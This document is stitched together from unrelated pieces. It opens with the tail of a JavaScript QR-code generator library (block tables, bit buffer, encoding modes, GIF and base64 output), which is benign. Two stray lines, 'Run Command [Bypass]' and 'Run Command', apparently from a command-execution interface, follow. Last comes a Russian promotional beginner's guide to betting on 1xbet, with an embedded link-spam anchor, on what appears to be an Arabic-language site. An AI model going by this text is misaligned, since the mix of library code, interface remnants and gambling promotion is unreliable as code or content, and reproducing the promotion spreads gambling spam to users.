[3, 67, 41, 13, 68, 42],
[15, 54, 24, 5, 55, 25],
[15, 43, 15, 10, 44, 16],
// 21
[4, 144, 116, 4, 145, 117],
[17, 68, 42],
[17, 50, 22, 6, 51, 23],
[19, 46, 16, 6, 47, 17],
// 22
[2, 139, 111, 7, 140, 112],
[17, 74, 46],
[7, 54, 24, 16, 55, 25],
[34, 37, 13],
// 23
[4, 151, 121, 5, 152, 122],
[4, 75, 47, 14, 76, 48],
[11, 54, 24, 14, 55, 25],
[16, 45, 15, 14, 46, 16],
// 24
[6, 147, 117, 4, 148, 118],
[6, 73, 45, 14, 74, 46],
[11, 54, 24, 16, 55, 25],
[30, 46, 16, 2, 47, 17],
// 25
[8, 132, 106, 4, 133, 107],
[8, 75, 47, 13, 76, 48],
[7, 54, 24, 22, 55, 25],
[22, 45, 15, 13, 46, 16],
// 26
[10, 142, 114, 2, 143, 115],
[19, 74, 46, 4, 75, 47],
[28, 50, 22, 6, 51, 23],
[33, 46, 16, 4, 47, 17],
// 27
[8, 152, 122, 4, 153, 123],
[22, 73, 45, 3, 74, 46],
[8, 53, 23, 26, 54, 24],
[12, 45, 15, 28, 46, 16],
// 28
[3, 147, 117, 10, 148, 118],
[3, 73, 45, 23, 74, 46],
[4, 54, 24, 31, 55, 25],
[11, 45, 15, 31, 46, 16],
// 29
[7, 146, 116, 7, 147, 117],
[21, 73, 45, 7, 74, 46],
[1, 53, 23, 37, 54, 24],
[19, 45, 15, 26, 46, 16],
// 30
[5, 145, 115, 10, 146, 116],
[19, 75, 47, 10, 76, 48],
[15, 54, 24, 25, 55, 25],
[23, 45, 15, 25, 46, 16],
// 31
[13, 145, 115, 3, 146, 116],
[2, 74, 46, 29, 75, 47],
[42, 54, 24, 1, 55, 25],
[23, 45, 15, 28, 46, 16],
// 32
[17, 145, 115],
[10, 74, 46, 23, 75, 47],
[10, 54, 24, 35, 55, 25],
[19, 45, 15, 35, 46, 16],
// 33
[17, 145, 115, 1, 146, 116],
[14, 74, 46, 21, 75, 47],
[29, 54, 24, 19, 55, 25],
[11, 45, 15, 46, 46, 16],
// 34
[13, 145, 115, 6, 146, 116],
[14, 74, 46, 23, 75, 47],
[44, 54, 24, 7, 55, 25],
[59, 46, 16, 1, 47, 17],
// 35
[12, 151, 121, 7, 152, 122],
[12, 75, 47, 26, 76, 48],
[39, 54, 24, 14, 55, 25],
[22, 45, 15, 41, 46, 16],
// 36
[6, 151, 121, 14, 152, 122],
[6, 75, 47, 34, 76, 48],
[46, 54, 24, 10, 55, 25],
[2, 45, 15, 64, 46, 16],
// 37
[17, 152, 122, 4, 153, 123],
[29, 74, 46, 14, 75, 47],
[49, 54, 24, 10, 55, 25],
[24, 45, 15, 46, 46, 16],
// 38
[4, 152, 122, 18, 153, 123],
[13, 74, 46, 32, 75, 47],
[48, 54, 24, 14, 55, 25],
[42, 45, 15, 32, 46, 16],
// 39
[20, 147, 117, 4, 148, 118],
[40, 75, 47, 7, 76, 48],
[43, 54, 24, 22, 55, 25],
[10, 45, 15, 67, 46, 16],
// 40
[19, 148, 118, 6, 149, 119],
[18, 75, 47, 31, 76, 48],
[34, 54, 24, 34, 55, 25],
[20, 45, 15, 61, 46, 16]
];
var qrRSBlock = function(totalCount, dataCount) {
var _this = {};
_this.totalCount = totalCount;
_this.dataCount = dataCount;
return _this;
};
var _this = {};
var getRsBlockTable = function(typeNumber, errorCorrectionLevel) {
switch(errorCorrectionLevel) {
case QRErrorCorrectionLevel.L :
return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 0];
case QRErrorCorrectionLevel.M :
return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 1];
case QRErrorCorrectionLevel.Q :
return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 2];
case QRErrorCorrectionLevel.H :
return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 3];
default :
return undefined;
}
};
_this.getRSBlocks = function(typeNumber, errorCorrectionLevel) {
var rsBlock = getRsBlockTable(typeNumber, errorCorrectionLevel);
if (typeof rsBlock == 'undefined') {
throw 'bad rs block @ typeNumber:' + typeNumber +
'/errorCorrectionLevel:' + errorCorrectionLevel;
}
var length = rsBlock.length / 3;
var list = [];
for (var i = 0; i < length; i += 1) {
var count = rsBlock[i * 3 + 0];
var totalCount = rsBlock[i * 3 + 1];
var dataCount = rsBlock[i * 3 + 2];
for (var j = 0; j < count; j += 1) {
list.push(qrRSBlock(totalCount, dataCount) );
}
}
return list;
};
return _this;
}();
//---------------------------------------------------------------------
// qrBitBuffer
//---------------------------------------------------------------------
var qrBitBuffer = function() {
var _buffer = [];
var _length = 0;
var _this = {};
_this.getBuffer = function() {
return _buffer;
};
_this.getAt = function(index) {
var bufIndex = Math.floor(index / 8);
return ( (_buffer[bufIndex] >>> (7 - index % 8) ) & 1) == 1;
};
_this.put = function(num, length) {
for (var i = 0; i < length; i += 1) {
_this.putBit( ( (num >>> (length - i - 1) ) & 1) == 1);
}
};
_this.getLengthInBits = function() {
return _length;
};
_this.putBit = function(bit) {
var bufIndex = Math.floor(_length / 8);
if (_buffer.length <= bufIndex) {
_buffer.push(0);
}
if (bit) {
_buffer[bufIndex] |= (0x80 >>> (_length % 8) );
}
_length += 1;
};
return _this;
};
//---------------------------------------------------------------------
// qrNumber
//---------------------------------------------------------------------
var qrNumber = function(data) {
var _mode = QRMode.MODE_NUMBER;
var _data = data;
var _this = {};
_this.getMode = function() {
return _mode;
};
_this.getLength = function(buffer) {
return _data.length;
};
_this.write = function(buffer) {
var data = _data;
var i = 0;
while (i + 2 < data.length) {
buffer.put(strToNum(data.substring(i, i + 3) ), 10);
i += 3;
}
if (i < data.length) {
if (data.length - i == 1) {
buffer.put(strToNum(data.substring(i, i + 1) ), 4);
} else if (data.length - i == 2) {
buffer.put(strToNum(data.substring(i, i + 2) ), 7);
}
}
};
var strToNum = function(s) {
var num = 0;
for (var i = 0; i < s.length; i += 1) {
num = num * 10 + chatToNum(s.charAt(i) );
}
return num;
};
var chatToNum = function(c) {
if ('0' <= c && c <= '9') {
return c.charCodeAt(0) - '0'.charCodeAt(0);
}
throw 'illegal char :' + c;
};
return _this;
};
//---------------------------------------------------------------------
// qrAlphaNum
//---------------------------------------------------------------------
var qrAlphaNum = function(data) {
var _mode = QRMode.MODE_ALPHA_NUM;
var _data = data;
var _this = {};
_this.getMode = function() {
return _mode;
};
_this.getLength = function(buffer) {
return _data.length;
};
_this.write = function(buffer) {
var s = _data;
var i = 0;
while (i + 1 < s.length) {
buffer.put(
getCode(s.charAt(i) ) * 45 +
getCode(s.charAt(i + 1) ), 11);
i += 2;
}
if (i < s.length) {
buffer.put(getCode(s.charAt(i) ), 6);
}
};
var getCode = function(c) {
if ('0' <= c && c <= '9') {
return c.charCodeAt(0) - '0'.charCodeAt(0);
} else if ('A' <= c && c <= 'Z') {
return c.charCodeAt(0) - 'A'.charCodeAt(0) + 10;
} else {
switch (c) {
case ' ' : return 36;
case '$' : return 37;
case '%' : return 38;
case '*' : return 39;
case '+' : return 40;
case '-' : return 41;
case '.' : return 42;
case '/' : return 43;
case ':' : return 44;
default :
throw 'illegal char :' + c;
}
}
};
return _this;
};
//---------------------------------------------------------------------
// qr8BitByte
//---------------------------------------------------------------------
var qr8BitByte = function(data) {
var _mode = QRMode.MODE_8BIT_BYTE;
var _data = data;
var _bytes = qrcode.stringToBytes(data);
var _this = {};
_this.getMode = function() {
return _mode;
};
_this.getLength = function(buffer) {
return _bytes.length;
};
_this.write = function(buffer) {
for (var i = 0; i < _bytes.length; i += 1) {
buffer.put(_bytes[i], 8);
}
};
return _this;
};
//---------------------------------------------------------------------
// qrKanji
//---------------------------------------------------------------------
var qrKanji = function(data) {
var _mode = QRMode.MODE_KANJI;
var _data = data;
var stringToBytes = qrcode.stringToBytesFuncs['SJIS'];
if (!stringToBytes) {
throw 'sjis not supported.';
}
!function(c, code) {
// self test for sjis support.
var test = stringToBytes(c);
if (test.length != 2 || ( (test[0] << 8) | test[1]) != code) {
throw 'sjis not supported.';
}
}('\u53cb', 0x9746);
var _bytes = stringToBytes(data);
var _this = {};
_this.getMode = function() {
return _mode;
};
_this.getLength = function(buffer) {
return ~~(_bytes.length / 2);
};
_this.write = function(buffer) {
var data = _bytes;
var i = 0;
while (i + 1 < data.length) {
var c = ( (0xff & data[i]) << 8) | (0xff & data[i + 1]);
if (0x8140 <= c && c <= 0x9FFC) {
c -= 0x8140;
} else if (0xE040 <= c && c <= 0xEBBF) {
c -= 0xC140;
} else {
throw 'illegal char at ' + (i + 1) + '/' + c;
}
c = ( (c >>> 8) & 0xff) * 0xC0 + (c & 0xff);
buffer.put(c, 13);
i += 2;
}
if (i < data.length) {
throw 'illegal char at ' + (i + 1);
}
};
return _this;
};
//=====================================================================
// GIF Support etc.
//
//---------------------------------------------------------------------
// byteArrayOutputStream
//---------------------------------------------------------------------
var byteArrayOutputStream = function() {
var _bytes = [];
var _this = {};
_this.writeByte = function(b) {
_bytes.push(b & 0xff);
};
_this.writeShort = function(i) {
_this.writeByte(i);
_this.writeByte(i >>> 8);
};
_this.writeBytes = function(b, off, len) {
off = off || 0;
len = len || b.length;
for (var i = 0; i < len; i += 1) {
_this.writeByte(b[i + off]);
}
};
_this.writeString = function(s) {
for (var i = 0; i < s.length; i += 1) {
_this.writeByte(s.charCodeAt(i) );
}
};
_this.toByteArray = function() {
return _bytes;
};
_this.toString = function() {
var s = '';
s += '[';
for (var i = 0; i < _bytes.length; i += 1) {
if (i > 0) {
s += ',';
}
s += _bytes[i];
}
s += ']';
return s;
};
return _this;
};
//---------------------------------------------------------------------
// base64EncodeOutputStream
//---------------------------------------------------------------------
var base64EncodeOutputStream = function() {
var _buffer = 0;
var _buflen = 0;
var _length = 0;
var _base64 = '';
var _this = {};
var writeEncoded = function(b) {
_base64 += String.fromCharCode(encode(b & 0x3f) );
};
var encode = function(n) {
if (n < 0) {
// error.
} else if (n < 26) {
return 0x41 + n;
} else if (n < 52) {
return 0x61 + (n - 26);
} else if (n < 62) {
return 0x30 + (n - 52);
} else if (n == 62) {
return 0x2b;
} else if (n == 63) {
return 0x2f;
}
throw 'n:' + n;
};
_this.writeByte = function(n) {
_buffer = (_buffer << 8) | (n & 0xff);
_buflen += 8;
_length += 1;
while (_buflen >= 6) {
writeEncoded(_buffer >>> (_buflen - 6) );
_buflen -= 6;
}
};
_this.flush = function() {
if (_buflen > 0) {
writeEncoded(_buffer << (6 - _buflen) );
_buffer = 0;
_buflen = 0;
}
if (_length % 3 != 0) {
// padding
var padlen = 3 - _length % 3;
for (var i = 0; i < padlen; i += 1) {
_base64 += '=';
}
}
};
_this.toString = function() {
return _base64;
};
return _this;
};
//---------------------------------------------------------------------
// base64DecodeInputStream
//---------------------------------------------------------------------
var base64DecodeInputStream = function(str) {
var _str = str;
var _pos = 0;
var _buffer = 0;
var _buflen = 0;
var _this = {};
_this.read = function() {
while (_buflen < 8) {
if (_pos >= _str.length) {
if (_buflen == 0) {
return -1;
}
throw 'unexpected end of file./' + _buflen;
}
var c = _str.charAt(_pos);
_pos += 1;
if (c == '=') {
_buflen = 0;
return -1;
} else if (c.match(/^\s$/) ) {
// ignore if whitespace.
continue;
}
_buffer = (_buffer << 6) | decode(c.charCodeAt(0) );
_buflen += 6;
}
var n = (_buffer >>> (_buflen - 8) ) & 0xff;
_buflen -= 8;
return n;
};
var decode = function(c) {
if (0x41 <= c && c <= 0x5a) {
return c - 0x41;
} else if (0x61 <= c && c <= 0x7a) {
return c - 0x61 + 26;
} else if (0x30 <= c && c <= 0x39) {
return c - 0x30 + 52;
} else if (c == 0x2b) {
return 62;
} else if (c == 0x2f) {
return 63;
} else {
throw 'c:' + c;
}
};
return _this;
};
//---------------------------------------------------------------------
// gifImage (B/W)
//---------------------------------------------------------------------
var gifImage = function(width, height) {
var _width = width;
var _height = height;
var _data = new Array(width * height);
var _this = {};
_this.setPixel = function(x, y, pixel) {
_data[y * _width + x] = pixel;
};
_this.write = function(out) {
//---------------------------------
// GIF Signature
out.writeString('GIF87a');
//---------------------------------
// Screen Descriptor
out.writeShort(_width);
out.writeShort(_height);
out.writeByte(0x80); // 2bit
out.writeByte(0);
out.writeByte(0);
//---------------------------------
// Global Color Map
// black
out.writeByte(0x00);
out.writeByte(0x00);
out.writeByte(0x00);
// white
out.writeByte(0xff);
out.writeByte(0xff);
out.writeByte(0xff);
//---------------------------------
// Image Descriptor
out.writeString(',');
out.writeShort(0);
out.writeShort(0);
out.writeShort(_width);
out.writeShort(_height);
out.writeByte(0);
//---------------------------------
// Local Color Map
//---------------------------------
// Raster Data
var lzwMinCodeSize = 2;
var raster = getLZWRaster(lzwMinCodeSize);
out.writeByte(lzwMinCodeSize);
var offset = 0;
while (raster.length - offset > 255) {
out.writeByte(255);
out.writeBytes(raster, offset, 255);
offset += 255;
}
out.writeByte(raster.length - offset);
out.writeBytes(raster, offset, raster.length - offset);
out.writeByte(0x00);
//---------------------------------
// GIF Terminator
out.writeString(';');
};
var bitOutputStream = function(out) {
var _out = out;
var _bitLength = 0;
var _bitBuffer = 0;
var _this = {};
_this.write = function(data, length) {
if ( (data >>> length) != 0) {
throw 'length over';
}
while (_bitLength + length >= 8) {
_out.writeByte(0xff & ( (data << _bitLength) | _bitBuffer) );
length -= (8 - _bitLength);
data >>>= (8 - _bitLength);
_bitBuffer = 0;
_bitLength = 0;
}
_bitBuffer = (data << _bitLength) | _bitBuffer;
_bitLength = _bitLength + length;
};
_this.flush = function() {
if (_bitLength > 0) {
_out.writeByte(_bitBuffer);
}
};
return _this;
};
var getLZWRaster = function(lzwMinCodeSize) {
var clearCode = 1 << lzwMinCodeSize;
var endCode = (1 << lzwMinCodeSize) + 1;
var bitLength = lzwMinCodeSize + 1;
// Setup LZWTable
var table = lzwTable();
for (var i = 0; i < clearCode; i += 1) {
table.add(String.fromCharCode(i) );
}
table.add(String.fromCharCode(clearCode) );
table.add(String.fromCharCode(endCode) );
var byteOut = byteArrayOutputStream();
var bitOut = bitOutputStream(byteOut);
// clear code
bitOut.write(clearCode, bitLength);
var dataIndex = 0;
var s = String.fromCharCode(_data[dataIndex]);
dataIndex += 1;
while (dataIndex < _data.length) {
var c = String.fromCharCode(_data[dataIndex]);
dataIndex += 1;
if (table.contains(s + c) ) {
s = s + c;
} else {
bitOut.write(table.indexOf(s), bitLength);
if (table.size() < 0xfff) {
if (table.size() == (1 << bitLength) ) {
bitLength += 1;
}
table.add(s + c);
}
s = c;
}
}
bitOut.write(table.indexOf(s), bitLength);
// end code
bitOut.write(endCode, bitLength);
bitOut.flush();
return byteOut.toByteArray();
};
var lzwTable = function() {
var _map = {};
var _size = 0;
var _this = {};
_this.add = function(key) {
if (_this.contains(key) ) {
throw 'dup key:' + key;
}
_map[key] = _size;
_size += 1;
};
_this.size = function() {
return _size;
};
_this.indexOf = function(key) {
return _map[key];
};
_this.contains = function(key) {
return typeof _map[key] != 'undefined';
};
return _this;
};
return _this;
};
var createDataURL = function(width, height, getPixel) {
var gif = gifImage(width, height);
for (var y = 0; y < height; y += 1) {
for (var x = 0; x < width; x += 1) {
gif.setPixel(x, y, getPixel(x, y) );
}
}
var b = byteArrayOutputStream();
gif.write(b);
var base64 = base64EncodeOutputStream();
var bytes = b.toByteArray();
for (var i = 0; i < bytes.length; i += 1) {
base64.writeByte(bytes[i]);
}
base64.flush();
return 'data:image/gif;base64,' + base64;
};
//---------------------------------------------------------------------
// returns qrcode function.
return qrcode;
}();
// multibyte support
!function() {
qrcode.stringToBytesFuncs['UTF-8'] = function(s) {
// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array
function toUTF8Array(str) {
var utf8 = [];
for (var i=0; i < str.length; i++) {
var charcode = str.charCodeAt(i);
if (charcode < 0x80) utf8.push(charcode);
else if (charcode < 0x800) {
utf8.push(0xc0 | (charcode >> 6),
0x80 | (charcode & 0x3f));
}
else if (charcode < 0xd800 || charcode >= 0xe000) {
utf8.push(0xe0 | (charcode >> 12),
0x80 | ((charcode>>6) & 0x3f),
0x80 | (charcode & 0x3f));
}
// surrogate pair
else {
i++;
// UTF-16 encodes 0x10000-0x10FFFF by
// subtracting 0x10000 and splitting the
// 20 bits of 0x0-0xFFFFF into two halves
charcode = 0x10000 + (((charcode & 0x3ff)<<10)
| (str.charCodeAt(i) & 0x3ff));
utf8.push(0xf0 | (charcode >>18),
0x80 | ((charcode>>12) & 0x3f),
0x80 | ((charcode>>6) & 0x3f),
0x80 | (charcode & 0x3f));
}
}
return utf8;
}
return toUTF8Array(s);
};
}();
(function (factory) {
if (typeof define === 'function' && define.amd) {
define([], factory);
} else if (typeof exports === 'object') {
module.exports = factory();
}
}(function () {
return qrcode;
}));
Run Command [Bypass]
Run Command
Руководство для начинающих по ставкам на 1xbet – tahkoom.com
Руководство для начинающих по ставкам на 1xbet
Ставки на спорт становятся всё более популярными среди любителей азартных игр, и 1xbet является одной из наиболее известных платформ для этого. Это руководство предназначено для начинающих, которые хотят узнать больше о том, как делать ставки на 1xbet. Здесь вы найдете информацию о регистрации, способах оплаты, типах ставок и других важных аспектах, которые помогут вам уверенно начать своё приключение в мире ставок.
Регистрация на 1xbet
Первый шаг к успешным ставкам – это регистрация на платформе 1xbet. Процесс достаточно прост и занимает всего несколько минут. Вам нужно будет предоставить минимум информации, чтобы создать свой аккаунт. Вот основные шаги для регистрации:
Посетите официальный сайт 1xbet.
Нажмите на кнопку «Регистрация».
Выберите способ регистрации: по номеру телефона, электронной почте или через социальные сети.
Заполните все обязательные поля, включая личные данные.
Подтвердите создание аккаунта.
После завершения регистрации не забудьте проверить электронную почту или телефон для подтверждения. Это необходимо для активизации вашего аккаунта и обеспечения безопасности.
Выбор способа оплаты
После создания аккаунта необходимо выбрать способ пополнения счета. 1xbet предлагает множество вариантов, чтобы удовлетворить потребности пользователей со всего мира. Наиболее популярные методы включают:
Банковские карты (Visa, MasterCard)
Электронные кошельки (WebMoney, Qiwi, Яндекс.Деньги)
Криптовалюты (Bitcoin, Ethereum)
Мобильные платёжные системы
Перед тем как выбрать способ оплаты, убедитесь, что он доступен в вашей стране. Кроме того, стоит обратить внимание на комиссионные сборы и время обработки транзакций, так как они могут варьироваться в зависимости от метода.
Типы ставок на 1xbet
На 1xbet доступны разнообразные типы ставок, что позволяет пользователям выбирать наиболее подходящие для них варианты. Вот некоторые из них:
Одиночные ставки – наиболее распространённый тип ставки, при котором вы делаете прогноз на исход одного события.
Системные ставки – более сложные ставки, где вы комбинируете несколько событий. Такой подход позволяет минимизировать риски.
Экспресс-ставки – ставки на несколько событий одновременно. Все их исходы должны быть выигрышными для получения выплаты.
Лайв-ставки – ставки, сделанные в режиме реального времени во время событий, что добавляет элемент динамики и напряжения.
Выбор типа ставки зависит от вашего уровня опытности и предпочтений. Начинающим рекомендую начинать с одиночных ставок, чтобы разобраться в принципах работы 1хбет вход .
Стратегии ставок для новичков
Когда вы начинаете делать ставки, важно не только понимать, как работает платформа, но и иметь стратегии. Вот несколько полезных стратегий для новичков:
Играйте на небольшие суммы: начните с минимальных ставок, чтобы не потерять большие деньги на ранних этапах.
Изучайте статистику: анализируйте команды и игроков, чтобы принимать более обоснованные решения.
Управляйте банкроллом: устанавливайте лимиты на свои ставки, чтобы избежать чрезмерных потерь.
Не ставьте на эмоциях: избегайте ставок на свои любимые команды, если не уверены в их победе.
Стратегия является ключевым элементом успешного беттинга. Регулярная практика и изучение будут способствовать вашему прогрессу.
Выводы
Ставки на 1xbet могут стать увлекательным увлечением, если подойти к этому процессу ответственно. Главное – это проводить исследование, иметь ясное представление о типах ставок и следовать выбранной стратегии. Не забудьте также принимать во внимание риски и никогда не ставить больше, чем можете позволить себе потерять. Удачи вам в ваших начинаниях!
Часто задаваемые вопросы (FAQ)
1. Как зарегистрироваться на 1xbet?
Для регистрации нужно перейти на сайт 1xbet, нажать на кнопку «Регистрация», заполнить форму и подтвердить активацию аккаунта.
2. Какие способы оплаты доступны?
На 1xbet доступны банковские карты, электронные кошельки, криптовалюты и мобильные платёжные системы.
3. Есть ли комиссии при пополнении счёта?
Комиссии зависят от выбранного вами способа оплаты. Рекомендуется проверить условия перед пополнением.
4. Что такое лайв-ставки?
Лайв-ставки – это ставки, которые можно делать во время события, что позволяет игроку адаптироваться к меняющейся ситуации.
5. Как выбрать стратегию для ставок?
Выбор стратегии зависит от ваших предпочтений и уровня опыта. Начинающим лучше выбирать простые стратегии и постепенно усложнять их.
زر الذهاب إلى الأعلى